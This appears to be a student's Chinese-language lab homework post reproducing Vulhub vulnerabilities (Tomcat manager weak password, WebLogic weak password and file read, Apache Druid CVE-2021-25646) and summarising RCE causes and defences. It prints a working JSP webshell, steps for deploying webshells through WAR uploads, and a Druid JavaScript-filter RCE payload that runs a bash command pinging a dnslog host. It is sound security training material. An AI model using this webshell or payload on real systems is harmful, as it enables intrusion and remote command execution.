实习实训第八次作业

目录

任务一:在vps安装docker和docker-compose

任务二:上课涉及的vulhub中的漏洞,全部复现,同时说明漏洞成因

1.tomcat

2.weblogic-weak_password

3.CVE-2021-25646

DNSlog

任务三:总结RCE漏洞的原理和利用条件及解决方案

1.什么是RCE漏洞,以及产生原理

2.RCE利用条件

3.RCE防范(解决方法)


任务一:在vps安装docker和docker-compose


任务二:上课涉及的vulhub中的漏洞,全部复现,同时说明漏洞成因

1.tomcat

在虚拟机中进入到vulhub目录下的tomcat,找到tomcat8,输入如下命令生成容器

命令docker ps -a查看当前容器,可以查看到已经有tomcat8的容器了

浏览器访问

出现以下界面

点击红色部分可进入登录界面

弹出窗口提示需要输入账号密码

可抓包进行弱口令爆破,得到账号密码为tomcat,tomcat

进入后点击List Applications

下滑找到上传文件处

需要上传war类型的文件,在桌面新创一个shell.jsp,填入如下内容

<%!    class U extends ClassLoader {        U(ClassLoader c) {            super(c);        }        public Class g(byte[] b) {            return super.defineClass(b, 0, b.length);        }    }     public byte[] base64Decode(String str) throws Exception {        try {            Class clazz = Class.forName("sun.misc.BASE64Decoder");            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);        } catch (Exception e) {            Class clazz = Class.forName("java.util.Base64");            Object decoder = clazz.getMethod("getDecoder").invoke(null);            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);        }    }%><%    String cls = request.getParameter("passwd");    if (cls != null) {        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);    }%>

打开终端,切换到shell.jsp目录下,输入jar -cvf shell.war shell.jsp,将jsp打包成war文件

选择上传打包好的war文件,上传完成之后就可以看到多了一栏数据

打开中国蚁剑,点击添加数据如图(ps:关闭代理设置)

密码依据如下,IP为建立vulhub靶场的主机ip

点击测试连接,成功

点击添加,选中目标右键查看“文件管理”

漏洞成因

1.弱口令,登录的账号密码过于简单,可直接抓包进行暴力破解

2.在部署war包后tomcat默认会将war包中的项目部署,由于可以任意的上传,所以我们可以将jsp文件打包为一个war文件上传getshell

2.weblogic-weak_password

在kali docker 容器中启动此漏洞环境

weblogic密码使用AES(老版本3DES)加密,对称加密可解密,只需要找到用户的密文与加密时的密钥即可。这两个文件均位于base_domain下,名为SerializedSystemIni.dat和config.xml。

SerializedSystemIni.dat是一个二进制文件,所以一定要用burpsuite来读取,用浏览器直接下载可能引入一些干扰字符。在burp里选中读取到的一串乱码(密钥),右键“复制到文件”就可以保存成一个文件

在浏览器中输入:

主机ip(这里是121.199.45.10):7001/hello/file.jsp?path=security/SerializedSystemIni.dat

并选择在bp的内嵌浏览器中抓取,方便抓包

发送到重放器点击发送

将上图红色框住的部分选中,“复制到文件”,命名为SerializedSystemIni.dat

再抓取 config.xml 的包,(输入:靶场主机ip:7001/hello/file.jsp?path=config/config.xml

)找到加密后的管理员密码

发送到重放器后点击发送

搜索关键字符串password,可以看到用户名为weblogic,密码为AES加密的

在\vulhub-master\weblogic\weak_password\decrypt目录下找到解密工具,解密出明文密码

访问 靶场主机IP(121.199.45.10):7001/console/login/LoginForm.jsp 账号输入:weblogic ,密码是上面的解密密码,注意大小写

登录后点击左边的“部署”

点击下面的安装

点击上载文件

打开哥斯拉生成jsp类型的木马

在cmd中转换文件为war类型

在页面中上传文件,选择下一步

继续点击下一步

最后点击完成,部署成功

打开冰蝎,新增目标,密码为pass,点击测试连接,成功

点击添加,选中目标右键选择进入,可以进行命令执行,复现成功

3.CVE-2021-25646

进入vulhub/apache-druid/CVE-2021-25646目录下,输入命令拉取镜像并启动

(ps:若端口被占用,查看容器是否有同样的端口,使用stop停止容器;若没有,直接查看端口,使用kill命令杀死对应进程)

启动成功后访问对应主机端口的界面

进入首页后点击Load data —> Local disk —> Connect data

右侧 base directory 填入quickstart/tutorial/

file filter填入wikiticker-2015-09-12-sampled.json.gz

点击apply,接下来一直next,直到下一步是Filter时进行抓包

抓到对应的数据包了,后面只需改掉data部分即可RCE。

DNSlog

打开dnslog网站,点击get subdomain

发送到重放器,改变data部分为(ping的是在dnslog得到的subdomian)

{"type":"index","spec":{"type":"index","ioConfig":{"type":"index","firehose":{"type":"local","baseDir":"quickstart/tutorial/","filter":"wikiticker-2015-09-12-sampled.json.gz"}},"dataSchema":{"dataSource":"sample","parser":{"type":"string","parseSpec":{"format":"json","timestampSpec":{"column":"time","format":"iso"},"dimensionsSpec":{}}},"transformSpec":{"transforms":[],"filter":{"type":"javascript",
"function":"function(value){return java.lang.Runtime.getRuntime().exec('/bin/bash -c $@|bash 0 ping xxxxx.dnslog.cn')}",
"dimension":"added",
"":{
"enabled":"true"
}
}}}},"samplerConfig":{"numRows":500,"timeoutMs":15000,"cacheKey":"4ddb48fdbad7406084e37a1b80100214"}}

点击发送得到响应,打开dnslog,点击刷新,有结果,说明漏洞存在


任务三:总结RCE漏洞的原理和利用条件及解决方案

1.什么是RCE漏洞,以及产生原理

        RCE(remote command/code execute,远程命令执行)漏洞,允许攻击者在目标系统上远程注入并执行任意代码。这种漏洞通常是由于应用系统在处理用户输入或与外部环境交互时,未能进行充分的安全验证和过滤,导致攻击者能够提交恶意输入,进而触发代码执行。

2.RCE利用条件

(1)没有安全的验证输入:代码中没有对用户的输入进行充分的安全验证和过滤,导致攻击者能够提交恶意输入。

(2)动态代码没有合适的安全控制:某些应用需要动态执行用户提交的代码或命令,如果在这个过程中未进行适当的安全控制,就可能导致远程代码执行。

(3)没有输入转义和验证:当应用程序接受用户输入,并将这些输入直接传递给操作系统或其他命令行工具时,如果没有对输入进行适当的转义或验证,攻击者就可以通过提交恶意输入来注入并执行任意命令。

3.RCE防范(解决方法)

(1)输入验证:对所有用户输入进行严格的安全验证和过滤,并对所有其他输入进行适当的编码或转义。这包括对用户提交的数据、命令和参数进行严格的验证和过滤,以防止恶意输入的注入和执行。

(2)参数化查询:使用参数化查询或预编译的语句来执行数据库查询。这可以防止攻击者注入恶意SQL代码,确保数据库的安全性。

(3)最小权限原则:确保应用程序和服务以最小的权限运行。避免赋予不必要的权限,只授予完成必要的任务的最少权限。

(4)及时对系统进行更新和维护:保持系统和应用程序的最新状态。及时应用安全更新和补丁,并修复已知的漏洞和缺陷。

(6)监控和日志记录:实施全面的监控和日志记录机制,有利于及时检测和响应可疑的活动和异常行为,并及时对紧急事件进行响应。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值